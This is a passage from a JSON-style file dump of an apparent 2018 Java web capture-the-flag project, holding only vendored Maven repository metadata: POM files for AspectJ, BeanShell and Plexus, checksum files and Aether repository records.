<artifactId>maven-surefire-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <forkMode>pertest</forkMode>\n              <argLine>\n                -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005\n                -enableassertions\n              </argLine>\n              <workingDirectory>${basedir}/target</workingDirectory>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/xbean/xbean-reflect/3.4/xbean-reflect-3.4.pom.sha1",
    "content": "5027123eb872a166f5205a5eb00d3ed186b63277"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/aspectj/aspectjweaver/1.8.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\naspectjweaver-1.8.1.jar>central=\naspectjweaver-1.8.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/aspectj/aspectjweaver/1.8.1/aspectjweaver-1.8.1.jar.sha1",
    "content": "da75e95c91703667b2ae20acdd3d8ee40ea7aabd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/aspectj/aspectjweaver/1.8.1/aspectjweaver-1.8.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.aspectj</groupId>\n  <artifactId>aspectjweaver</artifactId>\n  <packaging>jar</packaging>\n  <version>1.8.1</version>\n  <name>AspectJ weaver</name>\n  <description>The AspectJ weaver introduces advices to java classes</description>\n  <url>http://www.aspectj.org</url>\n\n  <licenses>\n    <license>\n      <name>Eclipse Public License - v 1.0</name>\n      <url>http://www.eclipse.org/legal/epl-v10.html</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>aclement</id>\n      <name>Andy Clement</name>\n      <email>aclement@vmware.com</email>\n    </developer>\n  </developers>\n\n  <scm>\n    <url>http://dev.eclipse.org/viewcvs/index.cgi/org.aspectj/?root=Tools_Project</url>\n  </scm>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/aspectj/aspectjweaver/1.8.1/aspectjweaver-1.8.1.pom.sha1",
    "content": "d221982cf2838a18b28f80a0ff1e94a8b1a5624a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/beanshell/2.0b4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:59 CST 2018\nbeanshell-2.0b4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/beanshell/2.0b4/beanshell-2.0b4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns:xsi=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <!-- [MPG] POM Created by Mergere Pom Generator (beta). -->\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.beanshell</groupId>\n  <artifactId>beanshell</artifactId>\n  <version>2.0b4</version>\n  <packaging>pom</packaging>\n  <name>BeanShell</name>\n  <description>BeanShell</description>\n  <organization>\n    <name>http://www.beanshell.org/</name>\n  </organization>\n\n  <licenses>\n    <license>\n      <name>GNU LESSER GENERAL PUBLIC LICENSE</name>\n      <url>http://www.gnu.org/licenses/lgpl.txt</url>\n    </license>\n  </licenses>\n\n  <dependencies>\n    <!-- [MPG] UnconnectedImport: org.apache.bsf.BSFException -->\n    <!-- [MPG] UnconnectedImport: org.apache.bsf.BSFMeclaredBean -->\n    <!-- [MPG] UnconnectedImport: org.apache.bsf.util.BSFEngineImpl -->\n    <!-- [MPG] UnconnectedImport: org.apache.bsf.BSFManager -->\n    <!-- [MPG] UnconnectedImport: javax.servlet.http.HttpServlet -->\n    <!-- [MPG] UnconnectedImport: javax.servlet.http.HttpServletRequest -->\n    <!-- [MPG] UnconnectedImport: javax.servlet.http.HttpServletResponse -->\n    <!-- [MPG] UnconnectedImport: javax.servlet.ServletException -->\n    <!-- [MPG] UnconnectedImport: text.html -->\n    <!-- [MPG] UnconnectedImport: text.plain --> \n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/beanshell/2.0b4/beanshell-2.0b4.pom.sha1",
    "content": "d00ea1e44675318c6c9105473bc2168e6df4a9aa  ./beanshell/2.0b4/beanshell-2.0b4.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/bsh/2.0b4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nbsh-2.0b4.pom>central=\nbsh-2.0b4.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/bsh/2.0b4/bsh-2.0b4.jar.sha1",
    "content": "a05f0a0feefa8d8467ac80e16e7de071489f0d9c  ./bsh/2.0b4/bsh-2.0b4.jar\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/bsh/2.0b4/bsh-2.0b4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns:xsi=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <!-- [MPG] POM Created by Mergere Pom Generator (beta). -->\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.beanshell</groupId>\n    <artifactId>beanshell</artifactId>\n    <version>2.0b4</version>\n  </parent>\n  <artifactId>bsh</artifactId>\n  <name>BeanShell</name>\n  <description>BeanShell</description>\n\n  <dependencies>\n    <!-- [MPG] UnconnectedImport: org.apache.bsf.BSFException -->\n    <!-- [MPG] UnconnectedImport: org.apache.bsf.BSFMeclaredBean -->\n    <!-- [MPG] UnconnectedImport: org.apache.bsf.util.BSFEngineImpl -->\n    <!-- [MPG] UnconnectedImport: org.apache.bsf.BSFManager -->\n    <!-- [MPG] UnconnectedImport: javax.servlet.http.HttpServlet -->\n    <!-- [MPG] UnconnectedImport: javax.servlet.http.HttpServletRequest -->\n    <!-- [MPG] UnconnectedImport: javax.servlet.http.HttpServletResponse -->\n    <!-- [MPG] UnconnectedImport: javax.servlet.ServletException -->\n    <!-- [MPG] UnconnectedImport: text.html -->\n    <!-- [MPG] UnconnectedImport: text.plain --> \n  </dependencies>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/beanshell/bsh/2.0b4/bsh-2.0b4.pom.sha1",
    "content": "57e0b6a607859774b2cdd680c6f2aab147b83a4f  ./bsh/2.0b4/bsh-2.0b4.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:50 CST 2018\nplexus-1.0.10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.10/plexus-1.0.10.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <name>Plexus</name>\n  <version>1.0.10</version>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <host>irc.codehaus.org</host>\n          <port>6667</port>\n          <channel>#plexus</channel>\n        </configuration>\n      </notifier>      \n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Repository</name>\n      <url>dav:https://dav.codehaus.org/repository/plexus</url>\n    </repository>\n    <snapshotRepository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Development Repository</name>\n      <url>dav:https://dav.codehaus.org/snapshots.repository/plexus</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n  <repositories>\n    <repository>\n      <id>codehaus.snapshots</id>\n      <name>Codehaus Snapshot Development Repository</name>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstol</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-1.0.10</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-1.0.10</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-1.0.10</url>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n    </plugins>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-beta-2</version>\n      </extension>\n    </extensions>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.10/plexus-1.0.10.pom.sha1",
    "content": "039c3f6a3cbe1f9e7b4a3309d9d7062b6e390fa7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.11/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:14 CST 2018\nplexus-1.0.11.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.11/plexus-1.0.11.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <name>Plexus</name>\n  <version>1.0.11</version>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <host>irc.codehaus.org</host>\n          <port>6667</port>\n          <channel>#plexus</channel>\n        </configuration>\n      </notifier>      \n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>  \n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Repository</name>\n      <url>dav:https://dav.codehaus.org/repository/plexus</url>\n    </repository>\n    <snapshotRepository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Development Repository</name>\n      <url>dav:https://dav.codehaus.org/snapshots.repository/plexus</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n  <repositories>\n    <repository>\n      <id>codehaus.snapshots</id>\n      <name>Codehaus Snapshot Development Repository</name>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n  \n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstol</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/trunk/</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/trunk/</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/trunk/</url>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n      <!--\n      <plugin>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <version>1.0-alpha-2</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.1.1-SNAPSHOT</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      -->\n    </plugins>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-beta-2</version>\n      </extension>\n    </extensions>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <goals>deploy</goals>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>    \n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.11/plexus-1.0.11.pom.sha1",
    "content": "4693d4512d50c5159bef1c49def1d2690a327c30"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.12/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:04 CST 2018\nplexus-1.0.12.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.12/plexus-1.0.12.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <name>Plexus</name>\n  <version>1.0.12</version>\n  <!-- ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <host>irc.codehaus.org</host>\n          <port>6667</port>\n          <channel>#plexus</channel>\n        </configuration>\n      </notifier>      \n    </notifiers>\n  </ciManagement -->\n  <inceptionYear>2001</inceptionYear>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>  \n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Repository</name>\n      <url>dav:https://dav.codehaus.org/repository/plexus</url>\n    </repository>\n    <snapshotRepository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Development Repository</name>\n      <url>dav:https://dav.codehaus.org/snapshots.repository/plexus</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n  <repositories>\n    <repository>\n      <id>codehaus.snapshots</id>\n      <name>Codehaus Snapshot Development Repository</name>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n    <!-- only here for wagon-webdav rc1-snapshot, remove\n        as soon as it is released. It contains bugfixes\n        to deploy. -->\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Maven Snapshot Repository</name>\n      <url>http://people.apache.org/maven-snapshot-repository</url>\n      <snapshots>\n        <enabled>true</enabled>\n        <updatePolicy>daily</updatePolicy>\n      </snapshots>\n      <releases>\n        <enabled>false</enabled>\n        <updatePolicy>never</updatePolicy>\n      </releases>\n    </repository>\n  </repositories>\n  \n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      